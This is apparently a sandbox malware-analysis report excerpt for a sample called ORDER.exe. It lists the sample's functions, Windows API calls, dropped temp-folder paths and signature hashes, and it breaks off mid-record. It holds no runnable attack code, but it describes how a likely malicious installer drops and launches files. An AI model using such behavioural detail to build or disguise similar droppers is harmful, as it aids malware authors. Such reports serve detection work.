String ID: "C:\Users\user\Desktop\ORDER.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-107080664
Opcode ID: 41eb4eacc2b5e04bba23a072be30983b5b4707d802c2e92527758f248babbe87
Instruction ID: 2f7b9810ed7c5924072585cf2130ed1295747d9915b618abfa336aedeca5813d
Opcode Fuzzy Hash: 41eb4eacc2b5e04bba23a072be30983b5b4707d802c2e92527758f248babbe87
Instruction Fuzzy Hash: C1F0E2327482487BDB008F1ADC44B9B7B9CDF91710F00C03BF904AA280D2B0A8008B68

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE

GlobalFree.KERNEL32(00000000), ref: 10001768
FreeLibrary.KERNEL32(?), ref: 100017DF
GlobalFree.KERNEL32(00000000), ref: 10001804

Part of subcall function 100021B0: GlobalAlloc.KERNEL32(?,7D8BEC45), ref: 100021E2

Part of subcall function 1000258D: GlobalAlloc.KERNEL32(?,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FF

Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572

Strings

, xrefs: 100017E5

Memory Dump Source

Source File: 00000000.00000002.32238167410.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.32238142205.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238195639.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238224100.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ORDER.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: cd3a49c7226bd267e48e570e062e78a21ab1dc0dccc3f926e80528383bd8a00b
Instruction ID: 946e86dc2be410c0748ecba0c1d48508df540d87c222276c6f0f58241c559a10
Opcode Fuzzy Hash: cd3a49c7226bd267e48e570e062e78a21ab1dc0dccc3f926e80528383bd8a00b
Instruction Fuzzy Hash: C5318B79408205DAFB41DF649CC5BCA37ECFB042D5F018465FA0A9A09ADF78A8458A60

Function 0040303A Relevance: 6.1, APIs: 4, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040304F

Part of subcall function 004031CC: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EA4,?), ref: 004031DA

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00402F52,00000004,00000000,00000000,?,?,?,00402ECB,000000FF,00000000,00000000), ref: 00403082
WriteFile.KERNELBASE(0040A8A0,0040F4C0,00000000,00000000,004128A0,00004000,?,00000000,?,00402F52,00000004,00000000,00000000,?,?), ref: 0040313C
SetFilePointer.KERNELBASE(0011A168,00000000,00000000,004128A0,00004000,?,00000000,?,00402F52,00000004,00000000,00000000,?,?,?,00402ECB), ref: 0040318E

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID:
API String ID: 2146148272-0
Opcode ID: 24d90e6fe24fc4b927ba7929ca5aee42abf3264703176f7c86ada2f370568673
Instruction ID: 01a25493adf58fb9a894681412e440a2e883d4234beea4965eba9eb13e735820
Opcode Fuzzy Hash: 24d90e6fe24fc4b927ba7929ca5aee42abf3264703176f7c86ada2f370568673
Instruction Fuzzy Hash: CC414F725052019FDB10BF29EE849663BFCFB4431A715863BE810BA2E4D7389D52CB5E

Function 00401F68 Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNELBASE(00000000,?,?), ref: 00401F93

Part of subcall function 0040501F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
Part of subcall function 0040501F: lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
Part of subcall function 0040501F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
Part of subcall function 0040501F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll), ref: 0040508D
Part of subcall function 0040501F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
Part of subcall function 0040501F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
Part of subcall function 0040501F: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

LoadLibraryExA.KERNELBASE(00000000,?,?,?,?), ref: 00401FA3
GetProcAddress.KERNEL32(00000000,?), ref: 00401FB3
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,?,?,?), ref: 0040201D

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 5319e110b6e8a5b1d5967b6e1ac55a36922c91fdf13baa78a076f75be2177e55
Instruction ID: 23a464ffe6ca8440643a385a127484fd4ee8ad6b227fb7efa4d26ad3fc5b3ac3
Opcode Fuzzy Hash: 5319e110b6e8a5b1d5967b6e1ac55a36922c91fdf13baa78a076f75be2177e55
Instruction Fuzzy Hash: D7210872904211BACF107FA48E49A6E39B0AB44358F60823BF601B62D1D7BC4941AA6E

Function 004024D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024EF
WriteFile.KERNELBASE(00000000,?,C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 0040250E

Strings

C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll, xrefs: 004024DD, 00402502

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll
API String ID: 427699356-3711738274
Opcode ID: 7a3ba9340afd46c78bea2cb4cb31887ebc91b7920a860de9f64b3c7245c284d2
Instruction ID: 4826b5ec7f58a8945af1d05ae4e09a11cd1e532a13e769836b40841c5f4177c7
Opcode Fuzzy Hash: 7a3ba9340afd46c78bea2cb4cb31887ebc91b7920a860de9f64b3c7245c284d2
Instruction Fuzzy Hash: 80F054B2A54244BFDB40ABA19E499EB66A4DB40309F10443FB141F61C2D5BC4941A66A

Function 004054E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421500,Error launching installer), ref: 0040550E
CloseHandle.KERNEL32(?), ref: 0040551B

Strings

Error launching installer, xrefs: 004054F8

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: a807c8c1498f9a3ccd34e9273e49e04dcb617f56f5cccdb726230c0895ca6d7f
Instruction ID: 0ae392a05d3974bec86de51aa2f8a5c28ff0ee3cdd976454f3eed0d5dd72dd2a
Opcode Fuzzy Hash: a807c8c1498f9a3ccd34e9273e49e04dcb617f56f5cccdb726230c0895ca6d7f
Instruction Fuzzy Hash: 2BE0BFB4A00209BFEB109FA4ED05F7B76ADEB14745F508561BD11F2160E774A9108A79

Function 004031E3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405FA1: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\ORDER.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 00405FF9
Part of subcall function 00405FA1: CharNextA.USER32(?,?,?,00000000), ref: 00406006
Part of subcall function 00405FA1: CharNextA.USER32(?,"C:\Users\user\Desktop\ORDER.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 0040600B
Part of subcall function 00405FA1: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 0040601B

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 00403204

Strings

1033, xrefs: 0040320B
C:\Users\user\AppData\Local\Temp\, xrefs: 004031E4, 004031E9, 004031EF, 004031FB, 00403203, 0040320A

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-2414109610
Opcode ID: ee23c129dd8a5d49f4f649e38bc420fd14e59507522fd77197c34cef7b8656a6
Instruction ID: 89773af62672bbf6302d30782f314b1c1bc42d6855f09756152acd8bf908297a
Opcode Fuzzy Hash: ee23c129dd8a5d49f4f649e38bc420fd14e59507522fd77197c34cef7b8656a6
Instruction Fuzzy Hash: 24D0C71290AD3066D5513B6A7C46FCF050C8F4675DF11807BF904751C58F6C555395EF

Function 00406745 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa6151eb6114a7c7dde5596e7ed141339a6810161cd6e35f889c2edb9118ca88
Instruction ID: d3f30c549e8eaa155af2d8805db43d359078549a114e1d1e4cfdde4495a9482f
Opcode Fuzzy Hash: fa6151eb6114a7c7dde5596e7ed141339a6810161cd6e35f889c2edb9118ca88
Instruction Fuzzy Hash: 13A14471E00228CBDF28DFA8C8447ADBBB1FB45305F15816ED816BB281D7785A96DF44

Function 00406946 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9dede487193b96133ea94438acbc75bab27e7ac1b94d370ef06066709f64446
Instruction ID: 66af66db22d428e7cee4185570621c0262e28a8f97ef0091af547b150b1cef7f
Opcode Fuzzy Hash: e9dede487193b96133ea94438acbc75bab27e7ac1b94d370ef06066709f64446
Instruction Fuzzy Hash: 7F912170E00228CBDF28DF98C8947ADBBB1FB45305F15816ED816BB281C7786A96DF44

Function 0040665C Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2d995426ddd841542114576c7cd3986778113386b5e0d0d2bb3b42046c5d03f
Instruction ID: 36158da5dd70985ab85e2c4d41886ca33cae813362c0b87a96f868d92fb05337
Opcode Fuzzy Hash: d2d995426ddd841542114576c7cd3986778113386b5e0d0d2bb3b42046c5d03f
Instruction Fuzzy Hash: 65815771D00228CFDF24CFA8C8847ADBBB1FB45305F25816AD816BB281D778A996DF15

Function 00406161 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68ae08bc292ff831ddf939399879833efa26d2e617e1386947dce183f6739e75
Instruction ID: 1715bfb1c3d5716620224504c503b3d15fe2aa0a2bbcc08a305e6ffc6cb4203b
Opcode Fuzzy Hash: 68ae08bc292ff831ddf939399879833efa26d2e617e1386947dce183f6739e75
Instruction Fuzzy Hash: 53817771D00228DBDF24CFA8C8447ADBBB0FB44301F2581AED856BB281D7786A96DF45

Function 004065AF Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2929f55d3e8b81ac1e584e7399a4f2facda7d772583105b5c0ec75abe6cb9a93
Instruction ID: 032b7c8430df6362c90b97cb5f8c3133674bcd2d0f853081a3cdcc23126a0f5c
Opcode Fuzzy Hash: 2929f55d3e8b81ac1e584e7399a4f2facda7d772583105b5c0ec75abe6cb9a93
Instruction Fuzzy Hash: 87711371D00228CFDF24CF98C8847ADBBB1FB48305F15806AD816BB281D7785996DF45

Function 004066CD Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 948a468c2091db2feb9fa4c22586628b65dd678cc983fa395508304452d62250
Instruction ID: 3e9dbefe820a1d4baf734be7fb741bb2fb66d8e6f9ed59188b506b6c9edb630d
Opcode Fuzzy Hash: 948a468c2091db2feb9fa4c22586628b65dd678cc983fa395508304452d62250
Instruction Fuzzy Hash: AB711371E00228CBDF28CF98C884BADBBB1FB44305F15816ED816BB281D7786996DF45

Function 00406619 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d63a3d575cf43ccaec2b316c623d79440d1cb8ee82c5371297a3fda91248972
Instruction ID: 1812ff5f5430a706778d8acc512246fd3c212bc7acfdfbe5d0fa3af8c8d1a12f
Opcode Fuzzy Hash: 2d63a3d575cf43ccaec2b316c623d79440d1cb8ee82c5371297a3fda91248972
Instruction Fuzzy Hash: AD712471E00228CBDF28DF98C844BADBBB1FB44305F15806ED856BB291C7786A96DF45

Function 00402F1F Relevance: 4.6, APIs: 3, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00409130,00000000,00000000,00000000,00000000,?,?,?,00402ECB,000000FF,00000000,00000000,00409130,?), ref: 00402F45
WriteFile.KERNELBASE(00000000,004128A0,?,000000FF,00000000,004128A0,00004000,00409130,00409130,?,00000004,00000000,00000000,?,?), ref: 00402FD2

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 41928112f34441f9b3539e2a42aa88ab340ce8e3764aaba8d566e6229e32b04b
Instruction ID: 3b6e370e410e3f669d4a968ba26e16673121f6254c39c59cd6eb20204b18cf3c
Opcode Fuzzy Hash: 41928112f34441f9b3539e2a42aa88ab340ce8e3764aaba8d566e6229e32b04b
Instruction Fuzzy Hash: 14313931502259FFDF20DF55DD44A9E3BA8EF04395F20403AF908A61D0D2789A41EBA9

Function 00401B11 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(006747C8), ref: 00401B80
GlobalAlloc.KERNELBASE(?,00000404), ref: 00401B92

Strings

Call, xrefs: 00401B38, 00401B3E, 00401B58

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 18ce383e7496548239e61a876cd1621fb13a91c8cdd195502931e4b9b56164df
